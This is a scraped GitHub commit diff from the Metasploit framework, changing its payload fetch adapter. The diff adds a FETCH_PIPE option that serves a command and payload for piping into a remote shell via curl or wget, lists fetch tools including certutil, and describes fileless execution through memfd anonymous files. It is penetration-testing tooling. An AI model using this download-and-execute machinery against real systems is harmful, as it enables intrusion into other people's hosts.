You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
fail_with(Msf::Module::Failure::BadConfig,"Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
99
+
end
100
+
@pipe_cmd=generate_fetch_commands
101
+
@pipe_cmd << "\n"ifwindows?#need CR when we pipe command in Windows
102
+
vprint_status("Command served: #{@pipe_cmd}")
103
+
cmd=generate_pipe_command
104
+
else
105
+
cmd=generate_fetch_commands
106
+
end
85
107
vprint_status("Command to run on remote host: #{cmd}")
86
108
cmd
87
109
end
88
110
111
+
defgenerate_pipe_command
112
+
# TODO: Make a check method that determines if we support a platform/server/command combination
113
+
@pipe_uri=pipe_srvuri
114
+
115
+
casedatastore['FETCH_COMMAND'].upcase
116
+
when'WGET'
117
+
return_generate_wget_pipe
118
+
when'CURL'
119
+
return_generate_curl_pipe
120
+
else
121
+
fail_with(Msf::Module::Failure::BadConfig,"Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
122
+
end
123
+
end
124
+
89
125
defgenerate_fetch_commands
90
126
# TODO: Make a check method that determines if we support a platform/server/command combination
91
127
#
@@ -139,9 +175,16 @@ def srvport
139
175
end
140
176
141
177
defsrvuri
178
+
# If the user has selected FETCH_PIPE, we save any user-defined uri for the pipe command
# The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor
Copy file name to clipboardExpand all lines: lib/msf/core/payload/adapter/fetch/linux_options.rb
+3-2Lines changed: 3 additions & 2 deletions
Original file line number
Diff line number
Diff line change
@@ -5,8 +5,9 @@ def initialize(info = {})
5
5
[
6
6
Msf::OptEnum.new('FETCH_COMMAND',[true,'Command to fetch payload','CURL',%w[CURLFTPTFTPTNFTPWGET]]),
7
7
Msf::OptEnum.new('FETCH_FILELESS',[true,'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none',['none','bash','python3.8+']]),
8
-
Msf::OptString.new('FETCH_FILENAME',[false,'Name to use on remote system when storing payload; cannot contain spaces or slashes',Rex::Text.rand_text_alpha(rand(8..12))],regex: %r{^[^\s/\\]*$},conditions: ['FETCH_FILELESS','==','false']),
9
-
Msf::OptString.new('FETCH_WRITABLE_DIR',[true,'Remote writable dir to store payload; cannot contain spaces','/tmp'],regex: /^\S*$/,conditions: ['FETCH_FILELESS','==','false'])
8
+
Msf::OptString.new('FETCH_FILENAME',[false,'Name to use on remote system when storing payload; cannot contain spaces or slashes',Rex::Text.rand_text_alpha(rand(8..12))],regex: %r{^[^\s/\\]*$},conditions: ['FETCH_FILELESS','==','none']),
9
+
Msf::OptBool.new('FETCH_PIPE',[true,'Host both the binary payload and the command so it can be piped directly to the shell.',false],conditions: ['FETCH_COMMAND','in',%w[CURLWGET]]),
10
+
Msf::OptString.new('FETCH_WRITABLE_DIR',[true,'Remote writable dir to store payload; cannot contain spaces','./'],regex: /^\S*$/,conditions: ['FETCH_FILELESS','==','none'])
Copy file name to clipboardExpand all lines: lib/msf/core/payload/adapter/fetch/windows_options.rb
+1Lines changed: 1 addition & 0 deletions
Original file line number
Diff line number
Diff line change
@@ -6,6 +6,7 @@ def initialize(info = {})
6
6
[
7
7
Msf::OptEnum.new('FETCH_COMMAND',[true,'Command to fetch payload','CURL',%w{CURLTFTPCERTUTIL}]),
8
8
Msf::OptString.new('FETCH_FILENAME',[false,'Name to use on remote system when storing payload; cannot contain spaces or slashes',Rex::Text.rand_text_alpha(rand(8..12))],regex: %r{^[^\s/\\]*$}),
9
+
Msf::OptBool.new('FETCH_PIPE',[true,'Host both the binary payload and the command so it can be piped directly to the shell.',false],conditions: ['FETCH_COMMAND','in',%w[CURL]]),
9
10
Msf::OptString.new('FETCH_WRITABLE_DIR',[true,'Remote writable dir to store payload; cannot contain spaces.','%TEMP%'],regex:/^[\S]*$/)
0 commit comments